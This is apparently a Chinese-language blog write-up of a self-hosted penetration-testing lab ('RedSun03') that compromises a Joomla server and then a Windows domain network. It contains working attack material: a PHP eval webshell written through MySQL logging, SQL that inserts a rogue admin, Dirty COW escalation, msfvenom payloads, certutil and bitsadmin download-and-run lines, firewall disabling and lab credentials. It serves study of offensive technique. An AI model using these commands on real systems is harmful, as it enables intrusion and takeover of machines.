RedSun03

简介

环境搭建时间: 2024-02-02 11:00

环境搭建

个人感觉环境搭建还是比较轻松

由于我们是黑盒测试,所以把所有的主机挂起就可以了

然后我们已知的cebnos的主机,我给他安装了一个nat网卡,模拟与kali属于同一个网络环境的情况,还要一个网卡与内网网段一致

其他的都是192.168.93网段的就可

信息收集

我们只知道存在与kali同网段的主机,但是并不知道是什么ip

所以直接就nmap收集有哪些主机

image-20240202112500897

138 是我的主机,146应该就是centos的主机了

  1. 端口扫描

    image-20240202112944742

    开了一个80端口的ngnix反向代理

    image-20240202113039436

    有一个blog

  2. 使用xray进行扫描

  3. 尝试爆破mysql

    image-20240202114401269

    弱密码

    root:123

  4. 敏感目录扫描

    发现robots.txt访问

    image-20240202120643822

    接着访问

    image-20240202120700238

    弱密码爆破

    发现不行

    访问配置文件

    image-20240202124804243

    注意有波浪号

    image-20240202124829915

    image-20240202124851226

    尝试访问

    发现不行,经过思考这个应该是mysql的,经过尝试应该是Mysql的密码但是只是一个普通用户的密码

  5. 查看mysql的表

    image-20240202125942610

    发现不能爆破出密码

    尝试添加用户,根据joomla官方的方式添加

    [如何恢复或重置管理员密码? - Joomla! Documentation](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#:~:text=添加新超级管理员使用r 1 导航到phpMyAdmin,选择Joomla的数据库! 站点中的左下拉列表框。 这将显示屏幕左侧的数据库表。 2 按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。 这将显示一个字段名为“Run,SQL query%2Fqueries on database<您的数据库>”。 3 删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。 4 使用下面的SQL查询添加另一个管理员帐户。)

    image-20240205115149200

    image-20240205115327584

    就直接执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -- Active: 1706849566963@@192.168.79.146@3306@joomla#umnbt_users

    INSERT INTO
    umnbt_users (
    `name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`
    )
    VALUES (
    'Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()
    );

    INSERT INTO
    umnbt_user_usergroup_map (`user_id`, `group_id`)
    VALUES (LAST_INSERT_ID(), '8');

    发现不太行,但是发现了另一个users的表尝试写入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    -- Active: 1706849566963@@192.168.79.146@3306@joomla#am2zu_users

    INSERT INTO
    am2zu_users (
    `name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`
    )
    VALUES (
    'Administrator2', 'admin123456', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()
    );

    INSERT INTO
    am2zu_user_usergroup_map (`user_id`, `group_id`)
    VALUES (LAST_INSERT_ID(), '8');

    然后登录

    image-20240205121612846

    成功

web渗透

  1. 利用cve-2021-23132

    【漏洞复现 CVE-2021-23132】Joomla远程代码执行漏洞 - StarCi - 博客园 (cnblogs.com)

    image-20240205121925176

    搜索,发现这个

    修改路径为根目录

    image-20240205122234674

    image-20240205122240419

    删除/administrator/components/com_users/config.xml

    我是工作目录换到这个/administrator/components/com_users,然后删除的

    然后上传新的config.xml

    发现上传会有一点小问题,所以改变策略直接修改模板

    image-20240205124404241

    image-20240205125133550

    成功

  2. mysql 日志反弹shell

    首先得找到网站的根目录

    根据后台,所以猜测是/var/www/html

    尝试一下

    1
    2
    3
    4
    5
    6
    7
    SHOW VARIABLES LIKE 'general%';

    set global general_log = on;

    set global general_log_file = '/var/www/html/index.php';

    select '<?php eval($_POST[cmd]);?>';

    发现不能上传

    image-20240205134102347

    发现写入不了

    image-20240205134322682

    将mysql 日志记录关了

  3. 上传msf

    连接之后发现并不能执行命令
    image-20240205140258167

    只能找找文件里面有哪些内容是可以使用的

    image-20240205140348120

    尝试使用ssh连接一下

    image-20240205140636483

    发现能连接,但是感觉这个方式太不常见了

    还可以尝试绕过

    我想直接修改php.ini文件,发现并不行

    发现蚁剑的插件可以绕过

    image-20240205141714644

    发现回显还是有点问题,所以将回显放入文件里面

    image-20240205144556090

    但是发现执行不了payload

    通过发现,好像使用antsword和直接使用ssh的结果不一样

    尝试使用ssh上传payload

    image-20240205154503330

    直接反弹……

  4. 提权

    这里发现使用的内核很低,可以尝试使用使用脏牛提权

    image-20240205160545817

    上传脏牛

    1
    https://github.com/FireFart/dirtycow
    1
    gcc -pthread dirty.c -o dirty -lcrypt

    他会创建一个角色

    1
    firefart   123456

    image-20240205161320363

    提权成功

  5. 环境分析

    现在出现了两个主机

    第一个是ngnix代理服务的机器

    一个是真实的,使用ssh 连接的是真实的主机

  6. 搭建代理

    我这里使用的是stowaway

    先在本地运行

    1
    2
    chmod +x admin
    ./admin -l 8987 -s hack

    然后使用agent连接就好了,agent运行到受害者

    1
    ./agent -c 192.168.79.138 -s hack

    输入topo发现已经有一个连接

    image-20240205173025392

内网信息收集

  1. 查看当前网段

    image-20240205182825733

  2. 使用fscan查看内网信息

    image-20240205185703340

    image-20240205185649166

  3. 使用nmap扫描端口信息

    image-20240206102610606

横向移动

  1. 尝试对三台主机进行445 永恒之蓝利用

    发现利用失败

  2. 1433端口利用

    发现是sql server的服务

    尝试弱口令爆破,发现没有用

  3. 尝试对smb服务进行爆破

    • 使用msf的smb_login模块

      1
      2
      3
      4
      5
      search smb_login
      use
      show options
      set PASS_FILE path
      set SMBUser

      image-20240206115436980

      发现30的密码

      image-20240206115617835

      20的密码

    • 使用hydra

      image-20240206114807676

  4. 尝试利用smb

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    use exploit/windows/smb/psexec

    set payload windows/x64/meterpreter/bind_tcp

    set SMBUser administrator

    set SMBPass 123qwe!ASD

    set RHOSTS 192.168.93.30

    exploit

    image-20240206132317942

    只有一台30的主机利用成功

    迁移进程

    1
    migrate pid

    都将进程迁移到lsaa.exe

    然后联动cs

    传递不了

    关闭防火墙

    1
    netsh advfirewall set publicprofile state off

    打开远程桌面服务

    1
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

    尝试连接连接不上

    发现命令执行收到很大的限制

  5. 使用wmiexec

    1
    2
    proxychains wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
    proxychains wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

    成功反弹shell

  6. 发现100存在python2

    生成一个正向的payload ,然后使用100主机的http.server服务

    查看20 主机是32 or 64位机器

    1
    systeminfo

    image-20240207172111891

    为了保险我省32和64一样生成了一个

    1
    2
    msfvenom -p windows/meterpreter/bind_tcp  lport=10668 -f exe -o bind32.exe
    msfvenom -p windows/meterpreter/bind_tcp lport=10669 -f exe -o bind.exe

    然后使用http.server传输文件(也可以使用scp)都比较方便

    image-20240207172404222

    image-20240207172444742再由100开启http服务

    1
    python -m SimpleHTTPServer 8080

    在windows 上下载文件的方式有很多,现在使用certutil

    1
    2
    3
    4
    下载文件
    certutil.exe -urlcache -split -f http://192.168.79.138/win7.exe c:\win7.exe & start c:\win7.exe
    清楚缓存
    certutil.exe -urlcache -split -f http://192.168.79.138/win7.exe delete

    image-20240207173040151

    拿下20

    换一个进程

    image-20240207173448644

    image-20240207173454362

    现在的权限就是system了

    image-20240207173545693

    同理对10主机、

    但是一直一直利用不上

  7. 尝试对20 联动cs

    失败

  8. 尝试cs 的payload

    image-20240207175958569

    不知道为什么上线不了cs

  9. 对20主机开启远程桌面

    image-20240207181721267

    发现成功,但是还有10主机,这个应该是一个域控

  10. 尝试使用20主机(winserver 2008)作为smb服务器

重新创建一个bind payload

image-20240207182227586

然后传递给100主机

老方法下载payload

1
certutil.exe -urlcache -split -f http://192.168.93.100:8080/bind32.exe c:\bind32.exe & start c:\bind32.exe

确实下载了,但是不能执行

尝试关闭防火墙

1
netsh advfirewall set allprofiles state off

还是没有用,那就只有使用前面反弹的shell了

总结

全部主机都上线了,但是域控查找了资料好像都没有上线,这个是一个遗憾

信息收集部分

  1. 很意外的mysql是一个弱口令,然后直接获取root的权限

    通过信息收集也获取了其他用户的密码

  2. 信息收集的步骤中
    对于靶场来说,最重要的就是端口收集了,可以收集到对应的服务,然后通过服务查找相应的漏洞,或者通过通过80web漏洞

  3. Joomla的配置文件利用注意添加波浪线

    注意添加用户的方法

web 渗透

  1. Joomla 中查找文件,编辑代码的时候,注意需要添加路径

    对模板的利用中,注意将一句话木马写在稍微前面一点不然不能利用

    还有就是有一些文件的话最好不要删除

  2. 这个部分是有ngnix反向代理

    注意得到的shell是反向代理的客户端的不是主机的

    这个分辨是因为webshell和ssh通一个地址是不一样的shell

    可以直接暂时的关闭ngnix

  3. 通过ssh连接,靶场直接给密码了,这个应该不会遇到,得学习一下如何绕过ngnix

  4. 还有就是绕过php disable_function 可以使用蚁剑的插件

  5. linux提权的时候使用脏牛进行提权

内网信息收集

  1. 主机存活检测,使用的是fscan

    但是这个有一个好处就是不用自指定其他的参数,全部进行

    如果使用的是nmap的话可以使用

    1
    2
    3
    4
    5
    6
    7
    主机存活探测
    nmap -sS (SYN扫描) 或 nmap -sN (NULL扫描) 或 nmap -sF (FIN扫描) 或 nmap -sX (Xmas扫描)
    nmap -sn [目标IP地址或子网掩码/CIDR表示法]
    某一个主机的端口扫描
    nmap -sT -p- [目标IP或域名]
    获取操作系统信息
    nmap -O -sV -T4 [目标IP或域名]
  2. 最主要的还是对每一个主机进行端口扫描

横向移动

个人现阶段,思路还不够多

  1. 使用msf smb_login

    可以爆破密码,但是密码必须要强大

  2. msf单个模块使用代理的方式

    1
    set proxies socks5:ip:port

    或者使用setg全局设置

  3. hydra 也可以爆破smb服务

    1
    hydra -l administrator -P(大写) /home/kali/password.txt(字典路径) 192.168.93.10 smb
  4. exploit/windows/smb/psexec

    smb 服务的利用模块

  5. wmiexec

    可以反弹shell

    但是感觉有很多限制

  6. 防火墙

    1
    2
    3
    4
    关闭防火墙
    netsh advfirewall set allprofiles state off
    开启防火墙
    netsh advfirewall show allprofiles
  7. 使用smb服务

    连接的时候需要指定具体的盘符

    1
    net use \\192.168.93.20\c$ /user:administrator "123qwe!ASD"

    下载文件

    1
    2
    copy \\192.168.79.138\c$\filename save_name # 默认保存到当前的文件
    copy \\192.168.93.20\c$\bind32_2012.exe bind32_2012.exe
  8. 文件传输

    除了使用smb服务还可以使用其他的服务

    1
    certutil.exe -urlcache -split -f http://192.168.93.100:8080/bind.exe c:\bind.exe & start c:\bind.exe

    或者

    1
    bitsadmin /transfer shell http://192.168.93.100:8080/bind32.exe C:\bind32.exe;start C:\windows\temp\bind32.exe
  9. 使用代理开启远程桌面

    1
    proxychains rdesktop -u administrator -p 'zxcASDqw123!!' 192.168.93.10 

RedSun03
https://tsy244.github.io/2024/02/02/靶场记录/RedSun03/
Author
August Rosenberg
Posted on
February 2, 2024
Licensed under